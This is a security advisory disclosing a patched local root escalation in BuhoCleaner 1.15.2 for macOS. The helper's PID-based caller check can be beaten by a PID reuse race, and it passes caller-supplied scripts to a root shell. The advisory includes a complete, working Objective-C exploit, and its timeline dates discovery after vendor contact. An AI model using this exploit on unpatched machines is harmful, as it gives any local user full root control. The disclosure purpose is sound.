BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack

7,3

High

7,3

High

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack

Code name

State

Public

Release date

30 ene 2026

Affected product

BuhoCleaner

Vendor

Dr. Buho

Affected version(s)

1.15.2

Fixed version(s)

1.15.3

Vulnerability name

Privilege escalation

Vulnerability type

Remotely exploitable

No

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.3

Exploit available

Yes

CVE ID(s)

Description

BuhoCleaner for macOS contains a vulnerability in its privileged helper tool that allows any local user to execute arbitrary commands as root without authentication. The vulnerability exists in the XPC service com.drbuho.BuhoCleaner.PrivilegedHelperTool due to a PID reuse attack, enabling complete system compromise.

Vulnerability

PID Reuse Attack

The privileged helper validates incoming XPC connections by checking the code signature of the connecting process using its PID. However, PIDs can be reused through the posix_spawn system call with the POSIX_SPAWN_SETEXEC flag, allowing an attacker to bypass code signature validation through a time-of-check-time-of-use (TOCTOU) race condition.

- (BOOL)listener:(NSXPCListener *)listener 
  shouldAcceptNewConnection:(NSXPCConnection *)newConnection
{
    // VULNERABLE: Uses processIdentifier instead of auditToken
    int pid = [newConnection processIdentifier];
    
    // Validate code signature using PID
    BOOL valid = [self checkSigningForPID:pid];
    
    if (valid) {
        [newConnection resume];
        return YES;
    }
    
    return NO;
}

Attack flow:

  1. The attacker process creates an XPC connection.

  2. Attacker sends XPC message (queued in helper).

  3. Attacker calls posix_spawn(POSIX_SPAWN_SETEXEC).

  4. Attacker process becomes a valid signed binary (BuhoCleaner.app).

  5. Helper validates PID → sees valid signature.

  6. Helper processes the queue message from the attacker.

  7. Helper accepts the connection and executes privileged operations.

Command Injection

The deleteAtPaths:withScripts: XPC method accepts an array of shell scripts and executes them as root without any validation. The scripts are passed directly to "/bin/sh -c", allowing arbitrary command execution.

// Decompiled from BCFileDeleter::deleteFiles
- (void)deleteFiles {
    // ... paths deletion code ...
    
    // Execute scripts from user input
    for (NSString *script in self.scripts) {
        NSTask *task = [[NSTask alloc] init];
        [task setLaunchPath:@"/bin/sh"];           // Shell execution
        [task setArguments:@[@"-c", script]];      // NO SANITIZATION
        [task launch];                              // Executes as root
    }
}

This function is called from BCHelper::deleteAtPaths:withScripts: after creating an object BCFileDeleter and initializing it.

- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts {
    BCFileDeleter *deleter = [[BCFileDeleter alloc] 
                              initWithPaths:paths 
                              withScripts:scripts];  // scripts stored unsanitized
    
    [deleter setDelegate:self];
    [deleter start];  // Eventually calls deleteFiles
}

Exploitation Chain

Combining both vulnerabilities:

  1. Bypass Authentication: Use PID reuse to bypass code signature validation.

  2. Inject Commands: Call deleteAtPaths:withScripts: with malicious payload.

  3. Execute as Root: Helper executes arbitrary commands with root privileges.

PoC

The following Proof of Concept demonstrates the complete exploitation chain from unprivileged user to root command execution.

// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <signal.h>

static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool";

@protocol BCHelperProtocol
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts;
@end

#define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner"
#define OUTPUT_FILE "/tmp/buho_rce_proof.txt"

int main(void) {
    extern char **environ;
    
    NSLog(@"");
    NSLog(@"═══════════════════════════════════════════════════════════");
    NSLog(@"  BuhoCleaner RCE - Command Injection PoC");
    NSLog(@"═══════════════════════════════════════════════════════════");
    NSLog(@"");
    
    // Payload
    NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE];
    
    int pid = fork();
    
    if (pid == 0) {
        @autoreleasepool {
            int my_pid = getpid();
            
            NSLog(@"[Child %d] Establishing XPC connection...", my_pid);
            
            NSXPCConnection* connection = [[NSXPCConnection alloc] 
                initWithMachServiceName:XPCHelperMachServiceName 
                options:4096];
            
            [connection setRemoteObjectInterface:
                [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]];
            
            [connection setInvalidationHandler:^{}];
            [connection setInterruptionHandler:^{}];
            
            [connection resume];
            
            id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) {
                NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription);
            }];
            
            NSLog(@"[Child %d] Injecting malicious command...", my_pid);
            NSLog(@"[Child %d] Payload: %@", my_pid, payload);
            
            // Command injection using the withScripts parameter
            [proxy deleteAtPaths:@[] withScripts:@[payload]];
            
            NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid);
            
            usleep(100000);
            
            // PID reuse attack
            char target_binary[] = kValid;
            char *target_argv[] = {target_binary, NULL};
            
            posix_spawnattr_t attr;
            posix_spawnattr_init(&attr);
            
            short flags;
            posix_spawnattr_getflags(&attr, &flags);
            flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
            posix_spawnattr_setflags(&attr, flags);
            
            posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
            
            exit(1);
        }
    }
    
    NSLog(@"[*] Waiting for command execution (3 seconds)...");
    sleep(3);
    
    NSLog(@"");
    NSLog(@"═══════════════════════════════════════════════════════════");
    NSLog(@"  Verifying Result");
    NSLog(@"═══════════════════════════════════════════════════════════");
    NSLog(@"");
    
    // Read the result
    NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE 
                                                 encoding:NSUTF8StringEncoding 
                                                    error:nil];
    
    if (result) {
        NSLog(@" SUCCESS! Command executed as root");
        NSLog(@"Content of %s:", OUTPUT_FILE);
        NSLog(@"");
        NSLog(@"   %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]);
        NSLog(@"");

    } else {
        NSLog(@"Could not read the file");
        NSLog(@"[-] The attack may not have worked");
    }
    
    
    kill(pid, 9);
    
    return 0;
}

Evidence of Exploitation

  • PoC:

  • Race condition lost:

  • Race condition won:


Our security policy

We have reserved the ID CVE-2026-0924 to refer to this issue from now on.

Disclosure policy

System Information

  • Dr.Buho - BuhoCleaner

  • Version: 1.15.2

  • Operating System: Any

References

Mitigation

An updated version of BuhoCleaner is available at the vendor page.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

30 ene 2026

Vulnerability discovered

13 ene 2026

Vendor contacted

15 ene 2026

Vendor replied

26 ene 2026

Follow-up with vendor

31 ene 2026

Vulnerability patched

2 feb 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3